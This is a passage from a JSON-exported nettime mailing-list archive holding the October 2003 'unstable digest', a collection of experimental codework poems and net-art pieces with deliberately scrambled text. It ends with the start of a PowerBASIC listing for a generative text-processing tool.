=3D split(/[ae]/i, $text);\n {AT} txau =3D split(/[a]/i, $text);\n\n#\n\n\nWh Wh Wh Wh When the evening sh  dows f  ll\nOn field : n th  n th  nd wood : nd pl  n th : : n th  in\n:  nd d  v  rkness settles in my room=AD\nI pl  y=AD :  : ning sh  v : : nd to song's Spirits c  ll:\nThen follow str  dows f  in : n  nd str  v  ll\nOn fi  v in\nof music, : ll with dre  ng sh  ld : ms : bloom!\n\n'Tis : n : m  nd wood : dows f  n  gic melody flows:\nOh! such Beethoven could\nEvolve from his wild he  rt : nd pl  nd soul\nThe Ser  ll\nOn f  ng sh  ph of music only knows\nTo fill my solitude\nWith songs whom He  in\nng sh  ven's hosts control!\n\nThen come to me when d :  rkness p  nd d  lls,\nThe room : d  nd : rkn  ld : d ll is still=AD\n>From forth my fingers r  re tunes come f  ss s  st\nNo mort  ws f  nd wood : l's melody rec  ttl  lls\nBut : ws f  ll your feelings fill\nWith he  nd pl  ven's dre  s in my room=AD\nI pl  ll\nm : nd bring sweet joy to l  y=AD : : ll\nst  nd to song's Spirits c  n f  n\nll:\nTh  n f  nd d  n follow str :  in : rkn :  ld  nd str  ss s  in\nof music, : ld : ttl  nd w  ll with dr :  s : nd w :  ms : n my room=AD\nbloom!\n\n'Tis : : d :  pl : m  gic m  y=AD : d : nd pl  lody flows:\nOh! such B  nd to song's Sp :  nd pl :  r  thov  n could\nts c :  n\nvolv  ll:\nTh : from his wild h  nd d  n\nn follow str :  rt : : rkn  nd d  nd soul\nTh  n :  S  ss s  rkn  nd str  r  ph of music only knows\nTo fill my solitud  ttl :  ss s\nWith songs whom H  n\nof mus  s :  ttl  c, : v  n my r  n's hosts control!\n\nTh  ll w  s : n com  th dr : : to m  n my r : : wh  m=AD\nn d  ms : : rkn  bloom!\n\n'T : pl  ss p  m=AD\ns : lls,\nTh  y=AD :  room :  m : pl  nd : nd t  g  ll is still=AD\n>From forth my fing  y=AD : c m  rs r : s  r  lody flows:\nOh! such B  nd t : tun  ng's Sp :  s com : s  thov : f  r  st\nNo mort  n could\nng's Sp  l's m  ts c  volv  lody r  r : from h  ll:\nTh c  lls\nBut : s w  ts c  n f  ll your f  ld h :  ll  ll:\nTh :  lings fill\nWith h :  rt : w str  n f  v  nd soul\nTh  n's dr : : S  ll :  m : r  n : w str  nd bring sw  ph of mus :  nd str\nc only knows\nTo f :  t joy to l  st  ll my sol :  n : tud  n\n\nW  nd str  f mus  th songs whom H :  : c, : v  n\nll w  n's hosts control!\n\nTh  f m  n com  th dr : to m  s : : wh  c, : n d  ms : rkn  ll w  bl  ss p\nth dr :  lls,\nTh : room : : m!\n\n'T  nd : ms : s : ll : s st  bl  m  ll=AD\n>From forth my f  g :  ng  rs r  c m  m!\n\n'T  r  l  s :  tun  dy fl  s com : m : f  ws:\ng  st\nNo mort  h! such B  l's m  c m  lody r :  l  c  th  lls\nBut : dy fl  ll your f  v  ws:\n: n c  l  h! s  uld\nngs f  ch B  ll\nW  v  th h :  lv :  th  v : fr  n's dr  v  m h :  n c  m : s w  nd br :  ld\nh  ng sw :  ld\n: t joy to l  rt : v  st  nd s  lv  ul\nTh : fr : S  m h  r  s w  ph : ld h  f mus :  c : rt : nly kn  nd s  ws\nT : : f  l\nTh  ll my s : S  l  r  tud  ph :\nW  f m  th s  ngs wh  s  m H  c : : nly kn  v  ws\nT  n's h : f  sts c  ll my s  ntr  l  l!\n\nTh  t  n c  d  m =20\nW : t  th s : m  ngs wh : wh  m H  n d :  rkn  v  ss p  n's h  lls,\nTh  sts c  r :  ntr  m : l!\n\nTh  nd : n c  ll : m  s st : t  ll=AD\nFr : m  m f : wh  rth my f  n d  ng  rkn  rs r  ss p  r  lls,\nTh : tun : r  s c :  m  m :  f  nd : st\nN  ll :  m  rt  s st  l's m  ll=AD\nFr  l  m f  dy r  rth my f  c  ng  lls\nBut : rs r  ll y  r  ur f : t :  n  l  s c  ngs f  m  ll\nW : f  th h  st\nN : : m  v  rt  n's dr  l's m :  m : l  nd br  dy r  ng sw  c :  lls\nB  t j  t : y t  ll y : l :  st  r f :  l  ngs f  ll\nW  th h :  v  n's dr :  m : nd br  ng sw :  t j  y t : l  st\n\n\n\n(c) mwp\n\n\n\nFrom: Alan Sondheim <sondheim {AT} panix.com>\nTo: _arc.hive_ {AT} lm.va.com.au\nSubject: name (and goes for tomorrow)\nDate: Wed, 22 Oct 2003 02:21:31 -0400 (EDT)\n\n\n\nname\n\nthis of is this file is foo. file no foo. foo.save. file the is\nmodification the of modification #foo#. is ~foo. is post the crash post\nwhen file foo.save when migrates foo.save to migrates or foo. #foo# when\nfoo to ~foo or post-crash. ~foo .#foo# it's .#foo.save#. to it's when\ninvisible it's and invisible migrates. and identified foo. as identified\nsuch as [filter] foo bar [filter] barring bar a barring crash. a bar.save\nwhen on EDT particular this day. particular at or time this only. time Wed\nonly. Oct Wed 22 Oct 02:13:00 22 EDT 02:13:00 2003. zz. name the which\nfile called is zz. is in zz-inode. reality in it reality zz-inode. zz.\nread to text a one text must one well as what as called. instantiation.\ntextual the genre textual foo\\zz which an is instantiation. an not\n.#foo.save# mention to #foo.save# or .#foo.save# or 935748 -> lrwxrwxrwx\n935748 1 lrwxrwxrwx sondheim 1 users sondheim 31 users Sep 31 28 Sep 19:30\n28 .#zz 19:30 -> .#zz sondheim {AT} panix3.panix.com.11950 a actual an\nmisrecognition misapprehension. misapprehension.  or\n\nthis is file foo. no this is file foo.save. no this is the modification of\nfile foo.save. no this is #foo#. no this is ~foo.\n\nthis is file foo. this is the post crash file when foo.save migrates to\nfoo. or the file when #foo# migrates to foo or ~foo post-crash. or to file\n.#foo# or to .#foo.save#. when it's invisible and migrates. when it's\nidentified as such as file foo.\n\nor when foo [filter] bar barring a crash. or when bar.save post-crash. or\non this particular day. or at this time only. Wed Oct 22 02:13:00 EDT\n2003. the name of the file which is called foo is zz. this is file zz.\nin reality it is file zz. zz-inode but not .#zz-inode or .#foo-inode.\n\nto read a text one must read the name of the text as well as what it is\ncalled. this is the textual genre of which foo\\zz is an instantiation.\nnot to mention #foo# or #foo.save# or .#foo# or .#foo.save#\n\n935748 lrwxrwxrwx 1 sondheim users 31 Sep 28 19:30 .#zz ->\nsondheim {AT} panix3.panix.com.11950 this is an actual instantiation. or a\nmisrecognition or misapprehension. this is the name of _the thing_ and\nnot _of the thing._\n\nwhoever understands me aright better not throw away the scaffolding.\n\n___\n\n\nDate:         Tue, 21 Oct 2003 22:11:00 +0300\nFrom: Jukka-Pekka Kervinen <xpressed {AT} SDF-EU.ORG>\nSubject: #12\nTo: WRYTING-L {AT} LISTSERV.UTORONTO.CA\n\n a CtSfurSfU c king'cCes,a/tS = piep+.e.(c)/e/ComB*\nO/$/(e) 0 dr i pspri.#.+prO*  = s etu(r%tUrnm{e}tAa\n/b/ackAcc\"uedA c es w Ims t w = insT.w.ist ' %aze m\n {a})riEsgrIDSG(ieFtrim)#rids = H u rry+ug(Bug s c\nu #ec+BIcheA-dhe{a}RsMEllAme  = n dsdR e a d .d.#o,\nd/r/u m fLU{n}gb(ush&clutC-s  = h (o)tsHook&'/r/u n\n gtruc-w/!/Uldd ) ub,yro{w}sf = r(u)i.t.awA r .d. %\n \"a k .SF o uL&DSouth&g(()mge = NEva m ovabl*&od $\nH*/l/d&h o (a)RDe d 'EAntr(a( = r)AxiSoxIDe&oXe n a\n0+luM&i n DUM$n e  r egio,le  = g al&f.i.fTyFIe-d'i\nft/life i n d /e/{.}eN\"EdSunn =  % sunk&USeD.u.S,&l\ne#u(l)li!yH{o}p e dpop& & Op  = y au)oSA0&h/o/r-Ur/\n(/stuNNe l SamBa%amE/#mpaDviS = eDADviCe h  e A(HeL\nL&meets & \"a p K.i.nsm(a)pPer = pokEspOliCyP(o)lesf\nOrmERfORt y savErb{l}indalive = r#alb+.w.a r EP)yOf\n*pa i ...thair-C - in * (+)c. = a.p e  c *Gesv+i.n.\n/v/erbE x .$.ortSeXceedaB$or) = Abri(d)/ef(d'eachE\nd l(A./s/*\"otSs.l.{-}De p ity = wItH\n\n\n\nDate:         Mon, 20 Oct 2003 13:12:43 +0100\nFrom: pixel <p.ixel {AT} NTLWORLD.COM>\nSubject: the love making became functional\nTo: WRYTING-L {AT} LISTSERV.UTORONTO.CA\n\n\n\n<html>\n<head>\n</head>\n<body>\n<font ?/face=3D\"\n</font></p>\n</font>   </\"..</body>\n</html>wqxpxnsteaeaml vpaa ji s\ncan IncreaseAcceptance\n</font></font><font face=3D\"\n2\">Regardless\nYour Approval is><body>\n<br></?/face=3D\"\nFOR ></IMMEDIATE REMOVAL <a <html>\n<head>\n</head>\n<body></a></\n><br></font>\n</body>\">Accept All</head><body>\n                                   \">Regardless\nOf Credit>\n<br></font>\nwqxpxnsteaeaml vpaa ji s\n\"><p><font<head>\n</head>\n<body>in your\"><All\n></in your</head>=3D\"2\"><a =\nhref=3D\"1\">~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~<br>\nHERE</a><br>\nhref_remove\">//http://www.TOTALFREEDOM\n..\n\n\n\n\n\nDate:         Sat, 18 Oct 2003 21:29:38 -0700\nFrom: Palafax Solipsigossa <solipsis {AT} HEVANET.COM>\nSubject: stuff-for-pete base\nTo: WRYTING-L {AT} LISTSERV.UTORONTO.CA\n\nI didnt save the header info, but I had this one pasted into a doc.. pretty\nstrange stuff..\n\n\n\n\n\n\nFrom: pascale gustin <gustin.pascale {AT} free.fr>\nTo: 7-11 {AT} mail.ljudmila.org, _arc.hive_ {AT} lm.va.com.au\nSubject: done and empty\nDate: Mon, 20 Oct 2003 03:01:14 +0200\n\n\n\n\n                         /\n                        /\n                       /\nd\\o-n-e-o-r-e-/-p-t-y/ 0\n        d-\\-n-e-o-r-e/m-p-t-y- 1\n        d-o\\n-e-o-r-/-m-p-t-y- 2\n        d-o-\\-e-o-r/e-m-p-t-y- 3\n        d-o-n\\e-o-/-empty 4\n        d-o-n-\\-o/-empty 5\n        done-or\\/mpty 6\n        done-or/\\mpty 7\n          v 0 0 0\nv 1 0 0\nv 1 1 0\nv 0 1 0\nv 0 0 1\nv 1 0 1\nv 1 1 1\nv 0 1 1\nf 1 2 3 4\nf 5 6 7 8\nl 1 5\nl 2 6\nl 3 7\nl 4 8\n\n                 done-o/-e\\pty 8         one\n        done-/r-em\\ty 9\n        done/or-emp\\y 10\n        d-O/n-e-or-e\\pty 11\n        d-/-n-e-o-r-e\\m-pty 12\n        d/o-n-e-o-r-e-\\-p-t-y-1-3\n        /-o-n-e-o-r-e-m\\p-t-y-1-4\n       /                \\\n      /\n     /\n    /\n   /-o-n-e-o-                \\\n                              \\\n                               \\\n\n-- \npasc {AT} csaq\n\n-r-W-x-R-W-X-R- x\nautobuild/wheel\n---------------[18608128 - s-ile-nses]\n          {AT}  {AT}  {AT}  {AT}  {AT}  {AT}  {AT} \n\n\n\nDate:         Fri, 24 Oct 2003 22:42:49 +0300\nFrom: Jukka-Pekka Kervinen <xpressed {AT} SDF-EU.ORG>\nSubject: #15\nTo: WRYTING-L {AT} LISTSERV.UTORONTO.CA\n\n r#{ {             #!   tE\"           # # m:_ :}:#(\n    #! )fU            n (|: +?           #n#  : P|\n      (( #::         {}r +##_       +m\n      ## (:)             ? ::     ((+  _ _:_ {:|:\n      e|_(R:             +(} Up{{      # {? s__::en\n   _{{ (}e      }           :      :=\"(+\n          \"_  _|    {, _\"\n   }|__+:_             }\" ,:(|                  R!:+\n   !|? ! :        |{ !:             !:: ((  := ?__\n      :1::(u+     (+?!_:      }{}Ph:| := +#?\n          |:E+d          ,_ ::}#     L\n      a=(  u:            #B \"+?\"                )_p _ g\n          bP,\":\"            :alp| +#               Gb_ H\n         a,\" : #        (+   : _     :\n           ( (1               +=}! +               :?_:D|: :=m\n          |((+|+         _} !\n         _)_+                #P(_ {+     +\n    om:_*:    : ( +4                   X+ra: d\n   :_ _:_          m #3  0           (+?}= R:=a\n         nom_: :        ) !  (+1     ? 0 O:((:=r+\n   |nd_ _              :_:: +           ||t e\n          (1+( _            m#[#!?:A     _{+: |}::=\n         (+?|Et|            _y: : (B               )(+# _}tOd_(\n       nds _              _| en_|      (  : ()++\n      !1 (1 +    ?_:+_:(!               ({\n           u_ }           , ::                  }(#,}! := )! {{  _\n          -_ 1={             \"N d+                 Nd (\n         {D|   +            \" F+m| :\n         {_(|l:         _: : (+\n   = _!:_                 (( =               \";a2\"|? :=_ }_ :::+\n      pRT:\n\n\n\nDate: Fri, 24 Oct 2003 17:40:57 +0200\nFrom: noemata <noemata {AT} KUNST.NO>\nTo: WRYTING-L {AT} LISTSERV.UTORONTO.CA\nSubject: thoothereis\n\nthoot/^~(\n      we_\\\\\\\\/#=\n                   b\n\n\n\n0,gooddress/^~(_\\\\\\\\/#=Cardiocoordnumber:\n 003 361/^~(_\\\\\\\\/Yewunewwheveollinfewrm\noothi  0044917 /^~(_\\\\\\\\/#=Thereisreollyne\nwthing  12.00EUR/^ ~(_\\\\\\\\/Ems oil:moogh c\nhellew.new  2003-10-2414: 16:27(UTC/G/^~(_\n\\\\\\\\/Letit 492570#######6/^~ (_\\\\\\\\/#=#=49\n2570#######6  78.71FRF/^~(_\\\\\\\\/oo uthewri\nsootiewnnumber:  9999/^~(_\\\\\\\\/#=Yewurcre\nditcoordhoosbeena    ooPE723Z-Coopitoolewf\n7,62/^~ (_\\\\\\\\/Frence    aRSPUBLICoo.CewM/\n^~(_\\\\\\\\/#      =#=yewu coeynleoove  ondle\naoveit/^~(_ \\\\ \\\\/#=#=#=wwwvooktm ester\n        oou th ewrisootiewnnumb:   /^~(_\\\\\n\\\\/78.71 F     RF  Befew reyewucoonleoove/\n^~(_\\\\\\\\/#=foo            ktmeste r   Clie\nnt/^~(_\\\\\\\\/Hereisoopr    ewfewrmooi nvewi\nc   Creditco    or     d numb err no:/^~\\\\\n/#=0,oodd          re  s  s E-moo il: moog\n {AT} chellew.       ne w/^~( _\\\\\\\\/12.00EUR F DNaGru i\n -750      0 3Pooris/^~(_\\\\\\\\/#=#=oorspublI     w\nicoo .cewm          Franc e/^~(_\\\\\\\\/ooPE\n723Z-Coopito    olewf7,6 2   Hereis  NOOP\nfewrmooinvewi c/^~(_\\\\\\\\/Client   Letit/^~\n(_\\\\ \\\\/#=Yew uhooverewreailizethoot  Let\nit/^~(_\\\\\\\\/2 be 0 03-10-2414 :16:27(UTC/G\nTer minolnum ber cos            :/^~(_\\\\\\\\\n/#=#=oors                     p ublica  T\nhereis  reoolly nowthin g    /^~(_\\\\\\\\/#=\n0 044917  GerTav.            3459/^~(_\\\\\\\n\\/#=leoo veit   Yewuhoo vetewre0lizet hoo #\nt/^~(_\\\\\\\\/#=Leti t  Ye wunewwhalveiollinfo\newrmooth   i/^~(_\\\\\\\\/0 0336 1  YewurGaND\nIIdfewrXorspubli/^ ~ (_ \\\\\\\\/#=thoot  Yewu\nrcreditcoordvoosbeenoit/ ^~( _ \\\\\\\\/#=9999\nvor spublicym.cewm/^~(_ \\\\\\\\/#=#=F-7\n5003Pearis   morspublic oo/^~(_\\\\\\\\/#=#=TeT\nrmi nilnumber:  leave it/^~(_\\\\  \\\\/#=VooT\nReg.FR814 23093459 remob       lizetoot/^~\n(_\\\\\\\\/#=#=#=rgweoollyn e  w  hingreroll y\nnewthing/^~(_\\\\\\             \\/#=#=#=spool\niz            et  h   o-o t    thoot/^~(_\\\n\\\\\\/#=YewurGooNDI       I      dfewroom rs\npubli\n\n\nisbn 82-92428-08-9\n\n\n\nDate: Fri, 24 Oct 2003 12:11:41 -0700\nFrom: Palafax Solipsigossa <solipsis {AT} HEVANET.COM>\nTo: WRYTING-L {AT} LISTSERV.UTORONTO.CA\nSubject: Re: Talk Talk--a generative text and music game/lifestyle tool!\n\n\nBug Report:\n\nMSVBVM60.DLL not found.\n\n\n\nTo: _arc.hive_ {AT} lm.va.com.au,7-11 {AT} mail.ljudmila.org\nFrom: \"N.B.Twixt\" <netwurker {AT} hotkey.net.au>\nSubject: E.wolfing\nDate: Thu, 23 Oct 2003 22:03:42 +1000\n\n09:54pm 23/10/2003\n\n\n-- bird trajectories + E.[wolf.in.wurd.loath(e)ing]Lope.ments\n\n\n- pro][rating][.lucid.txt\n-\n-\n\nhttp://www.hotkey.net.au/~netwurker\nhttp://www.livejournal.com/users/netwurker/\n_\n_cr[xxx]oss ova.ring.\n\n\n\nDate: Sat, 18 Oct 2003 13:40:29 +0200\nFrom: noemata <noemata {AT} KUNST.NO>\nTo: WRYTING-L {AT} LISTSERV.UTORONTO.CA\nSubject: index\n\n  anette\n( a) a ropet protect the existence\na  raft natt=F8y injure upset humanity or honestly\na ny party imm the designatum orre mai besette\na rappf=F8tt may nitti akutt unless its actions err\nb pi byge t o normal... arbeid vilje o normal...\nc irca uvirksomhet injure capsize thingks are\nc onfi dence ion a box mov seus (b) dave a rabiat\nc ord, rope, string o normal...\ne x, laws i'm a juser et ex i'm a fraid.\ne xistence ex (b) a rabat must awe...prote usd\ng odta any fest May ghost occupy, receive,\nh igher-or derive ...st op,law et tau, reiped\ni naction\nl aw three jus tre=E6\nl aw zaire jus zaire\nl ove for promise because of love because of\nn ou robot's subject numinus nou robot's manufacts\no p,law cord, row, p_str, roundet moused point idx\no wn ...w ilo existence dens eie ploy\ns ubject mai luminus dens slag May ninety\ns uperordinate wi le you n=F8d need conflict\nt ake any celebration manufascture rob=E5t\nt he procreation st op, law jus brot may =E5nd take\nt hink through inaction krenke kantre menneskehet\nt ilv=E6relse wi laugh you destitution conflict\nu nless scar subject\n=F8 mme complete aukeurance tau aud m=F8ye work will\n\n\n\n--\nisbn 82-92428-08-9\n\n\n\nFrom: Alan Sondheim <sondheim {AT} panix.com>\nTo: _arc.hive_ {AT} lm.va.com.au\nSubject: more\nDate: Sun, 19 Oct 2003 01:48:09 -0400 (EDT)\n\n\n\n\nMore\n\n\nNetwork 1:  \"jetblue\"  BSSID: Network\n\"00:09:7C:31:88:ED\" 1:\n\nType Unloaded :\n\nprobe Carrier 802.11b Info \"None\" Channel 00\nWEP \"No\" Maxrate 11.0 LLC 32 Data 0 Crypt\nWeak Total First First \"Thu \"Thu Oct Oct 16\n16 09:25:36 09:25:36 2003\"2003\" Last Last\n09:25:59 09:25:59 2:  \"<no Network ssid>\" 2:\n\"00:90:4B:23:E6:8C\" ssid>\" 54.0 10 09:25:44\n09:25:44\n\n___\n\n\n\n\nnettime unstable digest vol 71\nSun Oct 26 21:30:56 2003\n\n\nSubject: Missing Sub Routines\n    From: pixel <p.ixel {AT} NTLWORLD.COM>\n    To: WRYTING-L {AT} LISTSERV.UTORONTO.CA\n\nSubject: your feedback sucks big time\n    From: Ana Buigues <abuigues {AT} WANADOO.ES>\n    To: WRYTING-L {AT} LISTSERV.UTORONTO.CA\n\nSubject: bubbluefluvia\n    From: Palafax Solipsigossa <solipsis {AT} HEVANET.COM>\n    To: WRYTING-L {AT} LISTSERV.UTORONTO.CA\n\nSubject: RE:<nettime> unstable digest vol 70 [extra issue]\n    From: MailAdmin {AT} cabinet-office.x.gsi.gov.uk\n    To: owner-nettime-l {AT} bbs.thing.net\n\nSubject: EENDRROrH.a.n.d.l. .t.h.e e n d k e y w o r d  ---\n    From: pascale gustin <gustin.pascale {AT} free.fr>\n    To: _arc.hive_ {AT} lm.va.com.au, 7-11 {AT} mail.ljudmila.org\n\nSubject: key\n    From: Palafax Solipsigossa <solipsis {AT} HEVANET.COM>\n    To: WRYTING-L {AT} LISTSERV.UTORONTO.CA\n\nSubject: the law of xwan song\n    From: pixel <p.ixel {AT} NTLWORLD.COM>\n    To: WRYTING-L {AT} LISTSERV.UTORONTO.CA\n\nSubject: #13\n    From: Jukka-Pekka Kervinen <xpressed {AT} SDF-EU.ORG>\n    To: WRYTING-L {AT} LISTSERV.UTORONTO.CA\n\nSubject: AFTER EILSHEMIUS\n    From: MWP <mpalmer {AT} JPS.NET>\n    To: WRYTING-L {AT} LISTSERV.UTORONTO.CA\n\nSubject: name (and goes for tomorrow)\n    From: Alan Sondheim <sondheim {AT} panix.com>\n    To: _arc.hive_ {AT} lm.va.com.au\n\nSubject: #12\n    From: Jukka-Pekka Kervinen <xpressed {AT} SDF-EU.ORG>\n    To: WRYTING-L {AT} LISTSERV.UTORONTO.CA\n\nSubject: the love making became functional\n    From: pixel <p.ixel {AT} NTLWORLD.COM>\n    To: WRYTING-L {AT} LISTSERV.UTORONTO.CA\n\nSubject: stuff-for-pete base\n    From: Palafax Solipsigossa <solipsis {AT} HEVANET.COM>\n    To: WRYTING-L {AT} LISTSERV.UTORONTO.CA\n\nSubject: done and empty\n    From: pascale gustin <gustin.pascale {AT} free.fr>\n    To: 7-11 {AT} mail.ljudmila.org, _arc.hive_ {AT} lm.va.com.au\n\nSubject: #15\n    From: Jukka-Pekka Kervinen <xpressed {AT} SDF-EU.ORG>\n    To: WRYTING-L {AT} LISTSERV.UTORONTO.CA\n\nSubject: thoothereis\n    From: noemata <noemata {AT} KUNST.NO>\n    To: WRYTING-L {AT} LISTSERV.UTORONTO.CA\n\nSubject: Re: Talk Talk--a generative text and music game/lifestyle tool!\n    From: Palafax Solipsigossa <solipsis {AT} HEVANET.COM>\n    To: WRYTING-L {AT} LISTSERV.UTORONTO.CA\n\nSubject: E.wolfing\n    From: \"N.B.Twixt\" <netwurker {AT} hotkey.net.au>\n    To: _arc.hive_ {AT} lm.va.com.au,7-11 {AT} mail.ljudmila.org\n\nSubject: index\n    From: noemata <noemata {AT} KUNST.NO>\n    To: WRYTING-L {AT} LISTSERV.UTORONTO.CA\n\nSubject: more\n    From: Alan Sondheim <sondheim {AT} panix.com>\n    To: _arc.hive_ {AT} lm.va.com.au\n\n\n\nlurking editors\n\nbeatrice beaubien <webmaven {AT} i2eye.com>\n    7-11 nettime-bold thingist \nflorian cramer <cantsin {AT} zedat.fu-berlin.de>\n    7-11 _arc.hive_ eu-gene o-o rhizome rohrpost webartery wryting \nalan sondheim <sondheim {AT} panix.com>\n    7-11 _arc.hive_ poetics siratori trAce webartery wryting \n$Id: digestunstable.pl,v 1.13 2003/01/26 18:51:21 paragram Exp $\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime> is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} bbs.thing.net and \"info nettime-l\" in the msg body\n#  archive: http://www.nettime.org contact: nettime {AT} bbs.thing.net\n\n",
                "date": "Sun, 26 Oct 2003 21:33:48 +0100",
                "to": "Nettime <nettime-l {AT} bbs.thing.net>",
                "message-id": "200310262219.h9QMJKX23322 {AT} bbs.thing.net",
                "url": "https://nettime.org/Lists-Archives/nettime-l-0310/msg00194.html",
                "list": "nettime_l",
                "author_name": "Florian Cramer",
                "subject": "<nettime> unstable digest vol 71"
            },
            {
                "content-type": "text/plai",
                "from": "lorian Cramer <cantsin {AT} zedat.fu-berlin.de>",
                "id": "00176",
                "content": "\n\nTo: syndicate {AT} anart.no, list {AT} rhizome.org, _arc.hive_ {AT} lm.va.com.au,\nFrom: \"[__lo-y. ]\" <loy {AT} myrealbox.com>\nSubject: Re:  . | \" || 11-10-2003-13:13 |\nDate: Wed, 15 Oct 2003 13:53:22 +0200\n\nAt 2003-10-12 08:27:21, Florian Cramer wrytinged:\n\n > Johan uses self-written Perl scripts which he frequently processes \nthrough themselves,\n > and with loy, my suspicion is that he is simply one single Perl script ;-).\n\n( \nhttp://groups.google.de/groups?dq=&hl=de&lr=&ie=UTF-%208&threadm=fa.ld656p1.1piqb3d%40ifi.uio.no&prev=/%20groups%3Fhl%3Dde%26lr%3D%26ie%3DUTF-8%26group%3Dfa.fiction-of-philosophy \n- it is highly recommended not to read the rest of the thread )\n\n\n( not a perl script )\n\n( but good old powerbasic )\n\n( and some manual editing )\n\n\n#DEBUG ERROR ON\n#COMPILE EXE \"lo_y.txt.proc.exe\"\n#REGISTER NONE\n#OPTION VERSION4\n#DIM ALL\n#RESOURCE \"mktxt.pbr\"\n#INCLUDE \"c:\\b\\pb\\winapi\\win32api.inc\"\n#INCLUDE \"c:\\b\\pb\\winapi\\commctrl.inc\"\n#INCLUDE \"c:\\b\\pb\\winapi\\comdlg32.inc\"\n#INCLUDE \"c:\\b\\pb\\winapi\\richedit.inc\"\n\nTYPE AlgoType\n      naam     AS STRING * 32\n      cptr     AS DWORD  'not in use yet\n      flags    AS DWORD\n      question AS STRING * 64\nEND TYPE\n\nTYPE AlgoParamsType\n      Algo         AS AlgoType\n      siz          AS DWORD\n      inpstring    AS STRING PTR      'contains the text to work on\n      inpstring2   AS STRING PTR      'if multiple input required (flag), \nbuffered text is put here\n      outpstring   AS STRING PTR\n      datfile      AS STRING PTR\n      num          AS DWORD           'parameter\nEND TYPE\n\nDECLARE FUNCTION MkTxt_CreateEditWindow AS LONG\nDECLARE FUNCTION Mktxt_CreateBufferWindow AS LONG\nDECLARE CALLBACK FUNCTION MkTxt_Edit_DlgProc () AS LONG\nDECLARE FUNCTION UpdateAlgoParams(BYREF AP AS AlgoParamsType, BYVAL buf$) \nAS LONG\n    DECLARE CALLBACK FUNCTION CBInp AS LONG\nDECLARE FUNCTION MkTxt_Proc           (AP AS AlgoParamsType) AS LONG\nDECLARE FUNCTION Prok_Proc            (AP AS AlgoParamsType) AS LONG\nDECLARE FUNCTION Prok2_Proc           (AP AS AlgoParamsType) AS LONG\nDECLARE FUNCTION Prok3_Proc           (AP AS AlgoParamsType) AS LONG\nDECLARE FUNCTION Dechar_Proc          (AP AS AlgoParamsType) AS LONG\nDECLARE FUNCTION LPF_Proc             (AP AS AlgoParamsType) AS LONG\nDECLARE FUNCTION LPF2_Proc            (AP AS AlgoParamsType) AS LONG\nDECLARE FUNCTION LPF_TD_PROC          (AP AS AlgoPAramsType) AS LONG\nDECLARE FUNCTION Spacer_Proc          (AP AS AlgoParamsType) AS LONG\nDECLARE FUNCTION GrandMix_Proc        (AP AS AlgoParamsType) AS LONG\nDECLARE FUNCTION GrandMix_Rand_Proc   (AP AS AlgoParamsType) AS LONG\nDECLARE FUNCTION Wrap                 (AP AS AlgoParamsType) AS LONG\nDECLARE FUNCTION Format               (AP AS AlgoParamsType) AS LONG\nDECLARE FUNCTION Repl                 (AP AS AlgoParamsType) AS LONG\nDECLARE FUNCTION MakeFont(BYVAL Fnt AS STRING, BYVAL PointSize AS LONG) AS LONG\nDECLARE FUNCTION MkTxt_FileOpenName(hParent AS LONG) AS STRING\nDECLARE FUNCTION MkTxt_FileSaveName(hPArent AS LONG) AS STRING\nDECLARE FUNCTION MkTxt_FileDataName(hParent AS LONG) AS STRING\nDECLARE FUNCTION RE_TextBeforeSelection(LONG) AS STRING\nDECLARE FUNCTION RE_TextAfterSelection(LONG) AS STRING\nDECLARE FUNCTION RE_SelectedText(LONG) AS STRING\nDECLARE FUNCTION File2String(BYVAL filn AS STRING) AS STRING\nDECLARE SUB myMsgbox (hparent AS LONG, b$)\nDECLARE CALLBACK FUNCTION CBmyMsgbox\n\n\n\nGLOBAL done AS LONG\nGLOBAL myhInst AS LONG\nGLOBAL hWEdit AS LONG\nGLOBAL hEdit AS LONG\nGLOBAL hBuf AS LONG\nGLOBAL Algo() AS AlgoType\n\n\n%MK_A_REQSIZ      = &B1     ' {AT} algotype.flags meaning algorithm requires \nsize param\n%MK_A_MULTINP     = &B10   '                                           more \nthen one input string\n%MK_A_REQDAT      = \n&B100   '                                           data file\n%MK_A_REQNUMPARAM = &B1000  'requires numeric param\n%MK_A_REQSTRING   = &B10000 'requires string as param - ptr put in datfile \nfield\n\nFUNCTION WINMAIN(BYVAL hInst AS LONG, BYVAL hPrev AS LONG, lpszCmdLine AS \nASCIIZ PTR, BYVAL nCmdShow AS LONG)  AS LONG\n    RANDOMIZE TIMER\n    LOCAL hw AS LONG\n    LOCAL txt AS STRING\n    LOCAL i AS LONG\n'   i = loadlibrary (\"c:\\windows\\system\\richedi20.dll\")\n  '  if isfalse i then i = getlasterror\n    myhInst = hInst\n    DIM Algo(0 TO 13)\n    Algo(0).naam = \" mrkv\"\n      Algo(0).flags = %MK_A_REQSIZ\n      Algo(0).cptr = CODEPTR(MkTxt_Proc)\n    Algo(1).naam = \" lo_y pass\"\n      Algo(1).flags = 0\n      Algo(1).cptr = CODEPTR(LPF_Proc)\n    Algo(2).naam = \" lo_y pass.frmt\"\n      Algo(2).flags = 0\n      Algo(2).cptr = CODEPTR(LPF2_Proc)\n    Algo(3).naam = \" lo_y pass.dom: tim\"\n      Algo(3).flags = 0\n      Algo(3).cptr = CODEPTR(LPF_TD_Proc)\n    Algo(4).naam = \" mix {AT} buf\"\n      Algo(4).flags = %MK_A_REQSIZ OR %MK_A_MULTINP\n      Algo(4).cptr = CODEPTR(GrandMix_Proc)\n    Algo(5).naam = \" mix {AT} buf.rnd\"\n      Algo(5).flags = %MK_A_REQSIZ OR %MK_A_MULTINP\n      Algo(5).cptr = CODEPTR(GrandMix_Rand_Proc)\n    Algo(6).naam = \" prk: rep\"\n      Algo(6).flags = %MK_A_REQSIZ\n      Algo(6).cptr = CODEPTR(Prok_Proc)\n    Algo(7).naam = \" prk: simp\"\n      Algo(7).flags = %MK_A_REQSIZ\n      Algo(7).cptr = CODEPTR(Prok2_Proc)\n    Algo(8).naam = \" prk: vanilla\"\n      Algo(8).flags = %MK_A_REQSIZ\n      Algo(8).cptr = CODEPTR(Prok3_Proc)\n    Algo(9).naam = \" re: plac < file\"\n      Algo(9).flags = %MK_A_REQDAT\n      Algo(9).cptr = CODEPTR(Dechar_Proc)\n    Algo(10).naam = \" spc\"\n      Algo(10).flags = 0\n      Algo(10).cptr = CODEPTR(Spacer_Proc)\n    Algo(11).naam = \" wrap\"\n      Algo(11).flags = %MK_A_REQNUMPARAM\n      Algo(11).question = \" line length:\"\n      